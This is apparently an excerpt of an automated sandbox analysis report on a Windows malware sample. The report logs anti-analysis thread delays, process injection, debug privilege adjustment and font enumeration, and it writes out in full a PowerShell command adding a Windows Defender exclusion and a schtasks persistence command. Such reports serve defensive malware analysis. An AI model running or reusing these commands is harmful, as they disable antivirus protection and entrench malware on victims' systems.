Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -596453s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -596343s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -596229s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -596109s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -595997s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -595852s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -595728s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -595609s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -595500s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -595390s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -595281s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -595169s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -595062s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -594953s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -594843s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -594734s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -594625s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -594515s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599326	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598323	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597981	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597873	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597546	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595902	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595671	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595231	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 594671	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599885
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599765
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599656
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599547
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599218
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599109
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599000
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598890
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598781
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598671
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598562
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598453
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598343
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598234
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598124
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598015
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597906
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597797
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597687
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597578
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597468
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597359
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597250
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597140
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597031
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596921
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596812
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596703
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596581
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596453
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596343
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596229
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596109
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595997
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595852
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595728
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595609
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595500
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595390
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595281
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595169
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595062
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 594953
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 594843
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 594734
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 594625
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 594515

Source: 2i3Lj7a8Gk.exe, 00000006.00000002.4141674106.00000000014B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: lyNyKapwZJLKnn.exe, 0000000D.00000002.4141044809.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Code function: 6_2_06CF9548 LdrInitializeThunk,

6_2_06CF9548

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Memory written: C:\Users\user\Desktop\2i3Lj7a8Gk.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp760C.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process created: C:\Users\user\Desktop\2i3Lj7a8Gk.exe "C:\Users\user\Desktop\2i3Lj7a8Gk.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp8686.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process created: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process created: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process created: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe "C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe"	Jump to behavior

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Users\user\Desktop\2i3Lj7a8Gk.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
